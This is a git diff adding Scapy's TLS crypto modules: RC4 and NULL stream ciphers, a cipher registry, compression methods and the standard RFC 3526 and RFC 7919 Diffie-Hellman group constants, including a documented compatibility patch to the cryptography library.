+    class Cipher_RC4_128(_StreamCipher):
+        pc_cls = algorithms.ARC4
+        key_len = 16
+
+    class Cipher_RC4_40(Cipher_RC4_128):
+        expanded_key_len = 16
+        key_len = 5
+
+
+class Cipher_NULL(_StreamCipher):
+    key_len = 0
+
+    def __init__(self, key=None):
+        self.ready = {"key": True}
+        self._cipher = None
+        # we use super() in order to avoid any deadlock with __setattr__
+        super(Cipher_NULL, self).__setattr__("key", key)
+
+    def snapshot(self):
+        c = self.__class__(self.key)
+        c.ready = self.ready.copy()
+        return c
+
+    def encrypt(self, data):
+        return data
+
+    def decrypt(self, data):
+        return data
+
diff --git a/scapy/layers/tls/crypto/ciphers.py b/scapy/layers/tls/crypto/ciphers.py
new file mode 100644
index 0000000..1e50788
--- /dev/null
+++ b/scapy/layers/tls/crypto/ciphers.py
@@ -0,0 +1,28 @@
+
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##                     2015, 2016 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS ciphers.
+"""
+
+class CipherError(Exception):
+    """
+    Raised when .decrypt() or .auth_decrypt() fails.
+    """
+    pass
+
+
+# We have to keep these imports below CipherError definition
+# in order to avoid circular dependencies.
+from scapy.layers.tls.crypto.cipher_aead import _tls_aead_cipher_algs
+from scapy.layers.tls.crypto.cipher_block import _tls_block_cipher_algs
+from scapy.layers.tls.crypto.cipher_stream import _tls_stream_cipher_algs
+
+_tls_cipher_algs = {}
+_tls_cipher_algs.update(_tls_block_cipher_algs)
+_tls_cipher_algs.update(_tls_stream_cipher_algs)
+_tls_cipher_algs.update(_tls_aead_cipher_algs)
+
diff --git a/scapy/layers/tls/crypto/compression.py b/scapy/layers/tls/crypto/compression.py
new file mode 100644
index 0000000..97aac62
--- /dev/null
+++ b/scapy/layers/tls/crypto/compression.py
@@ -0,0 +1,86 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##                     2015, 2016 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS compression.
+"""
+
+from __future__ import absolute_import
+import zlib
+
+from scapy.error import warning
+import scapy.modules.six as six
+
+
+_tls_compression_algs = {}
+_tls_compression_algs_cls = {}
+
+class _GenericCompMetaclass(type):
+    """
+    Compression classes are automatically registered through this metaclass.
+    """
+    def __new__(cls, name, bases, dct):
+        the_class = super(_GenericCompMetaclass, cls).__new__(cls, name,
+                                                              bases, dct)
+        comp_name = dct.get("name")
+        val = dct.get("val")
+        if comp_name:
+            _tls_compression_algs[val] = comp_name
+            _tls_compression_algs_cls[val] = the_class
+        return the_class
+
+
+class _GenericComp(six.with_metaclass(_GenericCompMetaclass, object)):
+    pass
+
+
+class Comp_NULL(_GenericComp):
+    """
+    The default and advised compression method for TLS: doing nothing.
+    """
+    name = "null"
+    val = 0
+
+    def compress(self, s):
+        return s
+
+    def decompress(self, s):
+        return s
+
+class Comp_Deflate(_GenericComp):
+    """
+    DEFLATE algorithm, specified for TLS by RFC 3749.
+    """
+    name = "deflate"
+    val = 1
+
+    def compress(self, s):
+        tmp = self.compress_state.compress(s)
+        tmp += self.compress_state.flush(zlib.Z_FULL_FLUSH)
+        return tmp
+
+    def decompress(self, s):
+        return self.decompress_state.decompress(s)
+
+    def __init__(self):
+        self.compress_state = zlib.compressobj()
+        self.decompress_state = zlib.decompressobj()
+
+class Comp_LZS(_GenericComp):
+    """
+    Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943.
+    XXX No support for now.
+    """
+    name = "LZS"
+    val = 64
+
+    def compress(self, s):
+        warning("LZS Compression algorithm is not implemented yet")
+        return s
+
+    def decompress(self, s):
+        warning("LZS Compression algorithm is not implemented yet")
+        return s
+
diff --git a/scapy/layers/tls/crypto/groups.py b/scapy/layers/tls/crypto/groups.py
new file mode 100644
index 0000000..f0a9ca3
--- /dev/null
+++ b/scapy/layers/tls/crypto/groups.py
@@ -0,0 +1,690 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+This is a register for DH groups from RFC 3526 and RFC 4306.
+At this time the groups from RFC 7919 have not been registered by openssl,
+thus they cannot be imported from the cryptography library.
+
+We also provide TLS identifiers for these DH groups and also the ECDH groups.
+(Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.)
+"""
+
+from __future__ import absolute_import
+
+from scapy.config import conf
+from scapy.utils import long_converter
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.asymmetric import dh
+import scapy.modules.six as six
+
+from scapy.config import conf
+from scapy.utils import long_converter
+
+# We have to start by a dirty hack in order to allow long generators,
+# which some versions of openssl love to use...
+
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.asymmetric.dh import DHParameterNumbers
+
+    try:
+        # We test with dummy values whether the size limitation has been removed.
+        pn_test = DHParameterNumbers(2, 7)
+    except ValueError:
+        # We get rid of the limitation through the cryptography v1.9 __init__.
+        import six
+        def DHParameterNumbers__init__hack(self, p, g, q=None):
+            if (
+                not isinstance(p, six.integer_types) or
+                not isinstance(g, six.integer_types)
+            ):
+                raise TypeError("p and g must be integers")
+            if q is not None and not isinstance(q, six.integer_types):
+                raise TypeError("q must be integer or None")
+
+            self._p = p
+            self._g = g
+            self._q = q
+
+        DHParameterNumbers.__init__ = DHParameterNumbers__init__hack
+
+    # End of hack.
+
+
+_ffdh_groups = {}
+
+class _FFDHParamsMetaclass(type):
+    def __new__(cls, ffdh_name, bases, dct):
+        the_class = super(_FFDHParamsMetaclass, cls).__new__(cls, ffdh_name,
+                                                             bases, dct)
+        if conf.crypto_valid and ffdh_name != "_FFDHParams":
+            pn = DHParameterNumbers(the_class.m, the_class.g)
+            params = pn.parameters(default_backend())
+            _ffdh_groups[ffdh_name] = [params, the_class.mLen]
+        return the_class
+
+
+class _FFDHParams(six.with_metaclass(_FFDHParamsMetaclass)):
+    pass
+
+
+class modp768(_FFDHParams):
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
+    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
+    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
+    A63A3620 FFFFFFFF FFFFFFFF""")
+    mLen = 768
+
+class modp1024(_FFDHParams): # From RFC 4306
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
+    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
+    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
+    A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6
+    49286651 ECE65381 FFFFFFFF FFFFFFFF""")
+    mLen  = 1024
+
+class modp1536(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
+    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
+    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
+    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
+    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
+    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF""")
+    mLen  = 1536
+
+class modp2048(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
+    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
+    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
+    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
+    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
+    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9
+    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510
+    15728E5A 8AACAA68 FFFFFFFF FFFFFFFF""")
+    mLen  = 2048
+
+class modp3072(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
+    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
+    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
+    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
+    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
+    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9
+    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510
+    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64
+    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7
+    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B
+    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C
+    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31
+    43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF""")
+    mLen  = 3072
+
+class modp4096(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
+    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
+    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
+    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
+    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
+    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9
+    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510
+    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64
+    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7
+    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B
+    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C
+    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31
+    43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7
+    88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA
+    2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6
+    287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED
+    1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9
+    93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199
+    FFFFFFFF FFFFFFFF""")
+    mLen  = 4096
+
+class modp6144(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
+    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
+    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
+    A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6
+    49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8
+    FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C
+    180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718
+    3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D
+    04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D
+    B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226
+    1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C
+    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC
+    E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26
+    99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB
+    04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2
+    233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127
+    D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492
+    36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406
+    AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918
+    DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151
+    2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03
+    F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F
+    BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA
+    CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B
+    B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632
+    387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E
+    6DCC4024 FFFFFFFF FFFFFFFF""")
+    mLen = 6144
+
+class modp8192(_FFDHParams): # From RFC 3526
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
+    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
+    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
+    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
+    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
+    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
+    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9
+    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510
+    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64
+    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7
+    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B
+    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C
+    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31
+    43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7
+    88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA
+    2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6
+    287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED
+    1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9
+    93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492
+    36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD
+    F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831
+    179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B
+    DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF
+    5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6
+    D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3
+    23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA
+    CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328
+    06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C
+    DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE
+    12BF2D5B 0B7474D6 E694F91E 6DBE1159 74A3926F 12FEE5E4
+    38777CB6 A932DF8C D8BEC4D0 73B931BA 3BC832B6 8D9DD300
+    741FA7BF 8AFC47ED 2576F693 6BA42466 3AAB639C 5AE4F568
+    3423B474 2BF1C978 238F16CB E39D652D E3FDB8BE FC848AD9
+    22222E04 A4037C07 13EB57A8 1A23F0C7 3473FC64 6CEA306B
+    4BCBC886 2F8385DD FA9D4B7F A2C087E8 79683303 ED5BDD3A
+    062B3CF5 B3A278A6 6D2A13F8 3F44F82D DF310EE0 74AB6A36
+    4597E899 A0255DC1 64F31CC5 0846851D F9AB4819 5DED7EA1
+    B1D510BD 7EE74D73 FAF36BC3 1ECFA268 359046F4 EB879F92
+    4009438B 481C6CD7 889A002E D5EE382B C9190DA6 FC026E47
+    9558E447 5677E9AA 9E3050E2 765694DF C81F56E8 80B96E71
+    60C980DD 98EDD3DF FFFFFFFF FFFFFFFF""")
+    mLen = 8192
+
+class ffdhe2048(_FFDHParams): # From RFC 7919
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1
+    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9
+    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561
+    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935
+    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735
+    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB
+    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19
+    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61
+    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73
+    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA
+    886B4238 61285C97 FFFFFFFF FFFFFFFF
+    """)
+    mLen = 2048
+
+class ffdhe3072(_FFDHParams): # From RFC 7919
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1
+    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9
+    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561
+    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935
+    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735
+    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB
+    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19
+    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61
+    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73
+    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA
+    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238
+    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C
+    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3
+    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D
+    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF
+    3C1B20EE 3FD59D7C 25E41D2B 66C62E37 FFFFFFFF FFFFFFFF
+    """)
+    mLen = 3072
+
+class ffdhe4096(_FFDHParams): # From RFC 7919
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1
+    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9
+    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561
+    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935
+    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735
+    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB
+    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19
+    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61
+    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73
+    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA
+    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238
+    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C
+    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3
+    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D
+    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF
+    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB
+    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004
+    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832
+    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A
+    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF
+    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E655F6A
+    FFFFFFFF FFFFFFFF
+    """)
+    mLen = 4096
+
+class ffdhe6144(_FFDHParams): # From RFC 7919
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1
+    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9
+    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561
+    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935
+    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735
+    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB
+    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19
+    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61
+    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73
+    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA
+    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238
+    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C
+    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3
+    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D
+    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF
+    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB
+    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004
+    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832
+    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A
+    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF
+    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902
+    0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6
+    3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A
+    CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477
+    A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3
+    0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4
+    763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6
+    B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C
+    D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A
+    E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04
+    5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1
+    A41D570D 7938DAD4 A40E329C D0E40E65 FFFFFFFF FFFFFFFF
+    """)
+    mLen = 6144
+
+class ffdhe8192(_FFDHParams): # From RFC 7919
+    g = 0x02
+    m = long_converter("""
+    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1
+    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9
+    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561
+    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935
+    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735
+    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB
+    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19
+    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61
+    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73
+    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA
+    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238
+    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C
+    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3
+    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D
+    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF
+    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB
+    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004
+    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832
+    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A
+    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF
+    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902
+    0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6
+    3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A
+    CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477
+    A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3
+    0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4
+    763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6
+    B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C
+    D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A
+    E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04
+    5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1
+    A41D570D 7938DAD4 A40E329C CFF46AAA 36AD004C F600C838
+    1E425A31 D951AE64 FDB23FCE C9509D43 687FEB69 EDD1CC5E
+    0B8CC3BD F64B10EF 86B63142 A3AB8829 555B2F74 7C932665
+    CB2C0F1C C01BD702 29388839 D2AF05E4 54504AC7 8B758282
+    2846C0BA 35C35F5C 59160CC0 46FD8251 541FC68C 9C86B022
+    BB709987 6A460E74 51A8A931 09703FEE 1C217E6C 3826E52C
+    51AA691E 0E423CFC 99E9E316 50C1217B 624816CD AD9A95F9
+    D5B80194 88D9C0A0 A1FE3075 A577E231 83F81D4A 3F2FA457
+    1EFC8CE0 BA8A4FE8 B6855DFE 72B0A66E DED2FBAB FBE58A30
+    FAFABE1C 5D71A87E 2F741EF8 C1FE86FE A6BBFDE5 30677F0D
+    97D11D49 F7A8443D 0822E506 A9F4614E 011E2A94 838FF88C
+    D68C8BB7 C5C6424C FFFFFFFF FFFFFFFF
+    """)
+    mLen = 8192
+
+
+_tls_named_ffdh_groups = { 256: "ffdhe2048", 257: "ffdhe3072",
+                           258: "ffdhe4096", 259: "ffdhe6144",
+                           260: "ffdhe8192" }
+
